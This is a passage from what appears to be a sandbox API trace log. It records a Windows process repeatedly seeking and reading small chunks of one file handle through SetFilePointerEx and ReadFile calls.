lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.006] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x342, lpOverlapped=0x0) returned 1 [0069.006] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x268, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.006] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x270, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.006] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x33a, lpOverlapped=0x0) returned 1 [0069.006] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x270, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.006] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x278, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.006] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x332, lpOverlapped=0x0) returned 1 [0069.006] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x278, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.006] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x280, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.006] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x32a, lpOverlapped=0x0) returned 1 [0069.006] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x280, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.006] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x288, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.006] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x322, lpOverlapped=0x0) returned 1 [0069.006] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x288, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.007] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x290, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.007] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x31a, lpOverlapped=0x0) returned 1 [0069.007] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x290, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.007] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x298, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.007] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x312, lpOverlapped=0x0) returned 1 [0069.007] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x298, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.007] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.007] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x30a, lpOverlapped=0x0) returned 1 [0069.007] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.007] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.007] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x302, lpOverlapped=0x0) returned 1 [0069.007] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.007] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.007] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2fa, lpOverlapped=0x0) returned 1 [0069.007] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.008] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.008] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2f2, lpOverlapped=0x0) returned 1 [0069.008] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.008] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.008] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2ea, lpOverlapped=0x0) returned 1 [0069.008] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.008] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.008] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2e2, lpOverlapped=0x0) returned 1 [0069.008] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.008] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2d0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.008] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2da, lpOverlapped=0x0) returned 1 [0069.008] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2d0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.008] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2d8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.008] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2d2, lpOverlapped=0x0) returned 1 [0069.009] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2d8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.009] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2e0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.009] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2ca, lpOverlapped=0x0) returned 1 [0069.009] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2e0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.009] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2e8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.009] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2c2, lpOverlapped=0x0) returned 1 [0069.009] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2e8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.009] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2f0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.009] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2ba, lpOverlapped=0x0) returned 1 [0069.009] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2f0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.009] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2f8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.009] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2b2, lpOverlapped=0x0) returned 1 [0069.009] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2f8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.009] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x300, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.010] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2aa, lpOverlapped=0x0) returned 1 [0069.010] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x300, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.010] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x308, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.010] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2a2, lpOverlapped=0x0) returned 1 [0069.010] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x308, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.010] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x310, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.010] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x29a, lpOverlapped=0x0) returned 1 [0069.010] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x310, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.010] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x318, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.010] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x292, lpOverlapped=0x0) returned 1 [0069.010] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x318, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.010] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x320, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.010] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x28a, lpOverlapped=0x0) returned 1 [0069.010] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x320, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.010] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.011] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x282, lpOverlapped=0x0) returned 1 [0069.011] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.011] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x330, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.011] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x27a, lpOverlapped=0x0) returned 1 [0069.011] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x330, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.011] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x338, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.011] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x272, lpOverlapped=0x0) returned 1 [0069.011] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x338, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.011] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x340, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.011] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x26a, lpOverlapped=0x0) returned 1 [0069.011] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x340, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.011] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x348, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.011] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x262, lpOverlapped=0x0) returned 1 [0069.011] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x348, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.012] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x350, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.012] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x25a, lpOverlapped=0x0) returned 1 [0069.012] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x350, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.012] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x358, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.012] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x252, lpOverlapped=0x0) returned 1 [0069.012] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x358, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.012] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x360, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.012] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x24a, lpOverlapped=0x0) returned 1 [0069.012] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x360, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.012] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x368, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.012] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x242, lpOverlapped=0x0) returned 1 [0069.012] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x368, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.012] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x370, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.012] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x23a, lpOverlapped=0x0) returned 1 [0069.012] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x370, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.013] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x378, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.013] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x232, lpOverlapped=0x0) returned 1 [0069.013] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x378, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.013] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x380, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.013] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x22a, lpOverlapped=0x0) returned 1 [0069.013] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x380, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.013] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x388, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.013] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x222, lpOverlapped=0x0) returned 1 [0069.013] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x388, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.013] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x390, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.013] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x21a, lpOverlapped=0x0) returned 1 [0069.013] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x390, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.013] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x398, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.013] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x212, lpOverlapped=0x0) returned 1 [0069.014] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x398, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.014] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.014] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x20a, lpOverlapped=0x0) returned 1 [0069.014] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.014] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.014] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x202, lpOverlapped=0x0) returned 1 [0069.014] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.014] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.014] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1fa, lpOverlapped=0x0) returned 1 [0069.014] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.014] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.014] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1f2, lpOverlapped=0x0) returned 1 [0069.014] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.014] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.015] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1ea, lpOverlapped=0x0) returned 1 [0069.015] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.015] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.015] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1e2, lpOverlapped=0x0) returned 1 [0069.015] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.015] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, 